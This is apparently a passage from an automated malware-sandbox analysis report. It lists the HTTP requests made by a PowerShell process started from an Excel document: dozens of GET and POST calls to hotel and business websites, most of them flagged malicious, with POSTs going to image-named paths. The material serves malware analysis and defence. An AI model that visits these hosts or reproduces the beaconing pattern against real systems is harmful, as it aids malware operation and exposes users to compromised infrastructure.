2972 EXCEL.EXE C:\Users\admin\AppData\Local\Temp\CVRE9E7.tmp.cvr ––

Find more information of the staic content and download it at the full report

Network activity

HTTP(S) requests
138
TCP/UDP connections
265
DNS requests
111
Threats
74

HTTP requests

PID Process Method HTTP Code IP URL CN Type Size Reputation
3596 powershell.exe GET –– 78.46.77.98:80 http://www.2mmotorsport.biz/ DE
––
––
malicious
3596 powershell.exe GET 200 217.26.53.161:80 http://www.haargenau.biz/ CH
html
malicious
3596 powershell.exe POST –– 217.26.53.161:80 http://www.haargenau.biz/content/assets/sehemeka.png CH
text
––
––
malicious
3596 powershell.exe GET 200 74.220.215.73:80 http://www.bizziniinfissi.com/ US
html
malicious
3596 powershell.exe POST 404 74.220.215.73:80 http://www.bizziniinfissi.com/data/assets/dezu.gif US
text
html
malicious
3596 powershell.exe GET 200 136.243.13.215:80 http://www.holzbock.biz/ DE
html
malicious
3596 powershell.exe POST 510 136.243.13.215:80 http://www.holzbock.biz/news/image/deruka.bmp DE
text
html
malicious
3596 powershell.exe GET 301 138.201.162.99:80 http://www.fliptray.biz/ DE
html
malicious
3596 powershell.exe GET 302 192.185.159.253:80 http://www.pizcam.com/ US
––
––
malicious
3596 powershell.exe GET 301 83.138.82.107:80 http://www.swisswellness.com/ DE
––
––
malicious
3596 powershell.exe GET –– 212.59.186.61:80 http://www.hotelweisshorn.com/ CH
––
––
malicious
3596 powershell.exe POST 404 212.59.186.61:80 http://www.hotelweisshorn.com/data/pics/thhedaka.gif CH
text
html
malicious
3596 powershell.exe GET 301 83.166.138.7:80 http://www.whitepod.com/ CH
––
––
malicious
3596 powershell.exe GET –– 69.16.175.10:80 http://www.hardrockhoteldavos.com/ US
––
––
malicious
3596 powershell.exe GET 301 104.24.23.22:80 http://www.belvedere-locarno.com/ US
––
––
malicious
3596 powershell.exe GET 301 80.244.187.247:80 http://www.hotelfarinet.com/ GB
––
––
malicious
3596 powershell.exe GET –– 217.26.53.37:80 http://www.hrk-ramoz.com/ CH
––
––
malicious
3596 powershell.exe POST 404 217.26.53.37:80 http://www.hrk-ramoz.com/includes/imgs/ammekaheke.jpg CH
text
xml
malicious
3596 powershell.exe GET 301 212.59.186.61:80 http://www.morcote-residenza.com/ CH
––
––
malicious
3596 powershell.exe GET 301 136.243.162.140:80 http://www.seitensprungzimmer24.com/ DE
html
malicious
3596 powershell.exe GET 200 93.184.221.240:80 http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab US
compressed
whitelisted
3596 powershell.exe GET 200 93.184.221.240:80 http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/DF3C24F9BFD666761B268073FE06D1CC8D4F82A4.crt US
der
whitelisted
3596 powershell.exe GET 302 213.186.33.5:80 http://www.arbezie-hotel.com/ FR
html
malicious
3596 powershell.exe GET 404 213.186.33.50:80 http://www.arbezie.com/data/assets/semodeimde.jpg FR
html
unknown
3596 powershell.exe GET –– 217.26.55.5:80 http://www.aubergemontblanc.com/ CH
––
––
malicious
3596 powershell.exe POST –– 217.26.55.5:80 http://www.aubergemontblanc.com/content/image/dezues.jpg CH
text
––
––
malicious
3596 powershell.exe GET 200 93.88.241.198:80 http://www.torhotel.com/ CH
html
malicious
3596 powershell.exe POST 404 93.88.241.198:80 http://www.torhotel.com/content/assets/moimkememose.jpg CH
text
html
malicious
3596 powershell.exe GET 301 83.137.114.198:80 http://www.alpenlodge.com/ AT
––
––
malicious
3596 powershell.exe GET 301 79.170.40.230:80 http://www.aparthotelzurich.com/ GB
html
malicious
3596 powershell.exe GET 301 199.34.228.70:80 http://www.bnbdelacolline.com/ US
html
malicious
3596 powershell.exe GET 301 80.74.144.93:80 http://www.elite-hotel.com/ CH
html
malicious
3596 powershell.exe GET 302 213.186.33.17:80 http://www.bristol-adelboden.com/ FR
html
malicious
3596 powershell.exe GET 301 94.126.23.52:80 http://www.nationalzermatt.com/ CH
html
malicious
3596 powershell.exe GET –– 54.76.92.240:80 http://www.waageglarus.com/ IE
––
––
malicious
3596 powershell.exe POST 403 54.76.92.240:80 http://www.waageglarus.com/data/assets/rukaka.jpg IE
text
html
malicious
3596 powershell.exe GET 301 217.26.52.10:80 http://www.limmathof.com/ CH
––
––
malicious
3596 powershell.exe GET 301 217.26.60.27:80 http://www.apartmenthaus.com/ CH
html
malicious
3596 powershell.exe GET 301 80.74.145.65:80 http://www.berginsel.com/ CH
––
––
malicious
3596 powershell.exe GET 301 52.210.177.133:80 http://www.chambre-d-hote-chez-fleury.com/ IE
––
––
malicious
3596 powershell.exe GET 301 52.210.177.133:80 http://www.hotel-blumental.com/ IE
––
––
malicious
3596 powershell.exe GET 302 157.240.1.35:80 http://www.facebook.com/ US
––
––
whitelisted
3596 powershell.exe GET 301 173.212.202.129:80 http://www.la-fontaine.com/ DE
html
malicious
3596 powershell.exe GET 301 63.33.82.40:80 http://www.mountainhostel.com/ US
––
––
malicious
3596 powershell.exe GET 301 185.199.110.153:80 http://www.hotelalbanareal.com/ NL
html
malicious
3596 powershell.exe GET 301 185.81.1.20:80 http://www.luganohoteladmiral.com/ IT
––
––